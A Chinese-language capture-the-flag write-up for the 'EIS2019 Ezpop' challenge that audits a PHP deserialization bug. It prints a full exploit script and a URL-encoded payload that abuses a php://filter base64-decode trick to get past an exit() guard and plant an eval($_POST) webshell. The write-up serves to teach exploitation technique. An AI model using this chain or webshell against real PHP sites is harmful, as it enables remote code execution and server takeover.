EIS2019 Ezpop
关键词:base64解码、字符绕过、反序列化
首先拿到题,发现index.php源代码,进行审计
<?php
error_reporting(0);
class A {
protected $store;
protected $key;
protected $expire;
public function __construct($store, $key = 'flysystem', $expire = null) {
$this->key = $key;
$this->store = $store;
$this->expire = $expire;
}
public function cleanContents(array $contents) {
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);
foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}
return $contents;
}
public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete]);
}
public function save() {
$contents = $this->getForStorage();
$this->store->set($this->key, $contents, $this->expire);
}
public function __destruct() {
if (!$this->autosave) {
$this->save();
}
}
}
class B {
protected function getExpireTime($expire): int {
return (int) $expire;
}
public function getCacheKey(string $name): string {
return $this->options['prefix'] . $name;
}
protected function serialize($data): string {
if (is_numeric($data)) {
return (string) $data;
}
$serialize = $this->options['serialize'];
return $serialize($data);
}
public function set($name, $value, $expire = null): bool{
$this->writeTimes++;
if (is_null($expire)) {
$expire = $this->options['expire'];
}
$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name);
$dir = dirname($filename);
if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 创建失败
}
}
$data = $this->serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
if ($result) {
return true;
}
return false;
}
}
if (isset($_GET['src']))
{
highlight_file(__FILE__);
}
$dir = "uploads/";
if (!is_dir($dir))
{
mkdir($dir);
}
unserialize($_GET["data"]);
入口为GET方式传入的data,对其进行反序列化。并且在A类中找到析构函数调用save函数(需要autosave不为true)。
public function save() {
$contents = $this->getForStorage();
$this->store->set($this->key, $contents, $this->expire);
}
save函数调用getForStorage和store属性的set方法。可知store属性为b类。
getForStorage:
public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete]);
}
cleanContents:
public function cleanContents(array $contents) {
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);
foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}
return $contents;
}
效果为仅保留cache中值为path、dirname等的键值。
继续追踪到set函数:
public function set($name, $value, $expire = null): bool{
$this->writeTimes++;
if (is_null($expire)) {
$expire = $this->options['expire'];
}
$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name);
$dir = dirname($filename);
if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 创建失败
}
}
$data = $this->serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
if ($result) {
return true;
}
return false;
}
可知$this->options可控,而函数末尾有文件写,因而企图操控该函数进行写马。文件名filename同样可控。
但由于$data中有<?php exit();?>,并且不可以从代码注入方面绕过,若不进行处理将会使写入的木马无法运行。因而选择采用base64不识别<?()[]{};等字符的特性进行绕过。
此处采用php伪协议php://filter/write=convert.base64-decode/resource=shell.php将payload写入shell.php,此时base64的解码等同于:
php//exit
而sprintf中规定了12字节的写入,因而解码前的写入data为:
php//000000000000exit
由于data是json序列化对象,而序列化的目标是$path指向的字符串,因而base64解码前的$data为:
"<?php
//000000000011 //这里的11是expire,同样可控
exit();?>
[{"111":{"path":"PD9waHAgZXZhbCgkX1BPU1RbJ3NoZWxsJ10pOz8+"}},"2"]" //这里的path是经过base64加密的shell,111是$path的值
而可以被base64解码的地方为:
php//000000000011exit111pathPD9waHAgZXZhbCgkX1BPU1RbJ3NoZWxsJ10pOz8+2
由于base64是4字节一组的解码方式,因而$path的名称应当为3字节,保证后面的恶意代码不会因为base64解码错位而发挥不了作用。此处是’111’。
而filename由prefix和key组成,而这两个变量可控。因而得出最终exp:
<?php
class A {
protected $key;
protected $store;
protected $expire;
public function __construct(){
$this->key = 'shell.php';
}
public function start($name){
$this->store = $name;
}
}
class B {
public $options;
}
$a = new A();
$b = new B();
$b->options['serialize'] = 'strval';
$b->options['expire'] = 11;
$b->options['prefix'] = 'php://filter/write=convert.base64-decode/resource=';
$b->options['data_compress'] = false;
$object = Array("path"=>"PD9waHAgZXZhbCgkX1BPU1RbJ3NoZWxsJ10pOz8+");
$path = '111';
$a->start($b);
$a->cache = array($path=>$object);
$a->complete = '2';
echo urlencode(serialize($a));
?>
payload:
O%3A1%3A%22A%22%3A5%3A%7Bs%3A6%3A%22%00%2A%00key%22%3Bs%3A9%3A%22shell.php%22%3Bs%3A8%3A%22%00%2A%00store%22%3BO%3A1%3A%22B%22%3A1%3A%7Bs%3A7%3A%22options%22%3Ba%3A4%3A%7Bs%3A9%3A%22serialize%22%3Bs%3A6%3A%22strval%22%3Bs%3A6%3A%22expire%22%3Bi%3A11%3Bs%3A6%3A%22prefix%22%3Bs%3A50%3A%22php%3A%2F%2Ffilter%2Fwrite%3Dconvert.base64-decode%2Fresource%3D%22%3Bs%3A13%3A%22data_compress%22%3Bb%3A0%3B%7D%7Ds%3A9%3A%22%00%2A%00expire%22%3BN%3Bs%3A5%3A%22cache%22%3Ba%3A1%3A%7Bi%3A111%3Ba%3A1%3A%7Bs%3A4%3A%22path%22%3Bs%3A40%3A%22PD9waHAgZXZhbCgkX1BPU1RbJ3NoZWxsJ10pOz8%2B%22%3B%7D%7Ds%3A8%3A%22complete%22%3Bs%3A1%3A%222%22%3B%7D
打入网页植入木马,在根目录获取flag。
小结
一开始做这道题的时候其实还是有些懵的,在梳理好调用链和可控对象之后形势就逐渐明朗起来,也许是找到了解题的通用思路(笑